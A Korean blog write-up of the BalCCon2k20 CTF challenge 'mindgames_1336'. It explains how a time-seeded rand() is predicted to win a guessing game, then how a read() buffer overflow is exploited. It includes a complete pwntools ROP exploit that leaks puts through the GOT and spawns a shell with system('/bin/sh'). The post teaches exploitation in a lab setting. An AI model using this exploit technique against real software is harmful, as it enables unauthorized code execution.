메로나
[BalCCon2k20] mindgames_1336 write-up 본문
저번주에 참여했던 BalCCon2k20에서 본 문제이다. 그냥 간단한 ROP였는데 Stripped 되어있어서 어케해야하는지 몰랐는데 우연히 맞았다.
제목에서 볼 수 있듯이 그냥 컴퓨터가 생각하는 숫자를 적으면 무언가를 할 수 있게 된다.
먼저 보호기법을 보면 아래와 같다.
NX만 Enabled 되어 있다. 쉘코드는 사용할 수 없다.
하나하나 따라가 보자.
void __noreturn sub_401445()
{
int v0; // [rsp+Ch] [rbp-4h]
v0 = 0;
sub_401249();
printf("\nWe should play a game of the mind!\n> ");
while ( 1 )
{
while ( 1 )
{
printf("What do you want to do?\n 1) Show Highscore\n 2) Play the game\n 3) Exit\n> ");
__isoc99_scanf("%d", &v0);
if ( v0 != 1 )
break;
sub_40130F();
}
if ( v0 != 2 )
exit(0);
sub_40139A();
}
}
맨 처음에 호출되는 함수이다. 이 문제에서는 게임을 먼저 플레이를 해 봐야한다. 2번 함수로 가보도록 하자.
__int64 sub_40139A()
{
__int64 result; // rax
int v1; // [rsp+4h] [rbp-Ch]
int v2; // [rsp+8h] [rbp-8h]
unsigned int v3; // [rsp+Ch] [rbp-4h]
v3 = 0;
v2 = 0;
v1 = 0;
printf("Can you guess my numbers?\n> ");
while ( 1 )
{
v2 = rand();
__isoc99_scanf("%d", &v1);
if ( v2 != v1 )
break;
printf("You were lucky this time!\n>", &v1);
++v3;
}
puts("Game over!");
result = (unsigned int)dword_4040E0;
if ( v3 >= dword_4040E0 )
{
puts("New Highscore! Amazing!");
dword_4040E0 = v3;
result = (__int64)sub_401336();
}
return result;
}
dword_4040E0은 따라가보면 sub_401249 함수에서 선언이 되는데, 그 값은 rand() % 32 + 1, 즉 1과 32 사이의 랜덤한 숫자이다. 여기서 새로운 함수(sub_401336) 을 호출하기 위해서는 dword_4040E0만큼 컴퓨터를 이겨야한다. 만약 dword_4040E0 만큼 이겼을 때 어떤 함수를 불러오는 지 보도록 하자.
void *sub_401336()
{
char buf; // [rsp+0h] [rbp-110h]
size_t n; // [rsp+108h] [rbp-8h]
printf("Give me your name: ");
qword_4040E8 = (__int64)&unk_4040C0;
n = read(0, &buf, 0x400uLL);
return memcpy(&unk_4040C0, &buf, n);
}
신기록을 세웠을 때 이름을 입력받는 함수이다. buf 크기는 0x110이지만 read 함수로 0x400만큼 받아올 수 있으므로 여기서 취약점이 1차적으로 터지게 된다.
그러면 공격 시나리오가 대충 구상이 된다.
1. dword_4040E0 값을 알아 내 그 만큼의 승리를 따내고 sub_401336 함수를 불러오기
2. read 함수에서 터지는 오버플로우를 이용해 ROP
이를 위해서는 먼저 위의 게임에서 이겨야한다. 파이썬에서 시드값을 주고 랜덤값을 어떻게 생성하는 지 몰랐기 때문에, 랜덤값을 생성하는 C 프로그램을 먼저 만들어서 거기서 recv를 해오는 방식으로 진행을 하였다.
#include <stdio.h>
#include <time.h>
int main()
{
srand(time(NULL));
int v0 = rand();
int num = rand() % 32 + 1;
printf("%d\n", num)
for(int i=0;i<num;i++)
{
printf("%d\n", rand());
}
}
이런 방식으로 맨 처음에 dword_4040E0값을 알아내고, 그만큼의 랜덤한 값을 출력해 내는 프로그램을 만들고, 이를 리스트에 저장해 하나씩 send하도록 하면 성공적으로 sub_401336 함수를 불러올 수 있을 것이다.
그리고 나면 ROP를 할 수 있을것인데, 이를 하기 위해서는 puts 함수로 실제 주소를 불러와야한다. 하지만 이 파일은 stripped 되어 있기 때문에 symbol을 불러올 수가 없다. 그래서 IDA로 분석해 그냥 가지고 왔다.
from pwn import *
rand = process('./rand')
ran = []
num = int(rand.recvline())
for i in range(0, num):
randint = int(rand.recvline())
ran.append(randint)
log.success(ran[i])
#p = remote('pwn.institute', 41336)
p = process('./mindgames')
pr = 0x4015c3
puts_got = 0x404020
puts_plt = 0x401040
vuln = 0x401336
payload = '2'
p.sendlineafter("3) Exit\n> ", payload)
for i in range(0, num):
p.sendline(str(ran[i]))
p.sendlineafter('>', payload)
payload = "A" * (0x110 + 8)
payload += p64(pr)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(vuln)
p.sendlineafter('Give me your name: ', payload)
puts_addr = u64(p.recvuntil('\x7f')[-6:] + '\x00\x00')
log.success(hex(puts_addr))
system = puts_addr - 0x2a300
binsh = puts_addr + 0x11d777
payload = "A" * (0x110 + 8)
payload += p64(pr)
payload += p64(binsh)
payload += p64(system)
p.sendlineafter('Give me your name: ', payload)
p.interactive()
익스플로잇 코드이다. 설명을 하자면
puts 함수로 puts 함수의 실제 주소를 갖고오고 sub_401336 함수의 주소로 return address를 덮어 다시 함수를 불러온다. puts 함수의 실제 주소를 이용해 libc 버전을 알아내고 그 버전에서의 system 함수와 /bin/sh\x00 까지의 오프셋을 알아내어 각각의 주소를 구한다. 이를 이용해 system('/bin/sh\x00') 을 실행하면 끝나는 것이다.
실행해 보면,
성공적으로 쉘을 불러온 것을 확인할 수 있다.
처음에 이상한 곳에서 계속 막혔다... 그래도 대회 중에 풀 수 있어서 좋았다 ~_~
'Wargame & CTF > Pwnable' 카테고리의 다른 글
[HackCTF] Look at me (350) write-up (0) | 2020.12.19 |
---|---|
[HackCTF] RTL_Core (250) write-up (0) | 2020.10.19 |
[HackCTF] Random Key (200) write-up (0) | 2020.09.01 |
[HackCTF] RTL_World (200) write-up (0) | 2020.08.21 |
[HackCTF] Yes or no (150) write-up (0) | 2020.08.19 |